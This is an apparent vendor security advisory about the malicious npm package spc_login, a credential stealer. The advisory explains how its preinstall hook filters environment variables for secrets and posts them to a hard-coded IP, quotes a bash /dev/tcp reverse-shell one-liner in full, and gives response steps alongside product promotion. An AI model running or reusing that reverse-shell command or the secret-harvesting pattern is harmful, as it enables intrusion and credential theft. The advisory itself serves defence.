spc_loginnpm
spc_login is a confirmed malicious npm package (MAL-2026-15622) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in spc_login (npm)
What this malware does
package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.

Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for spc_login (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging spc_login across your stack and pipelines.
If you installed it — respond
spc_login is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If spc_login was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks spc_login before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Detect & block this
O3 blocks spc_login-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
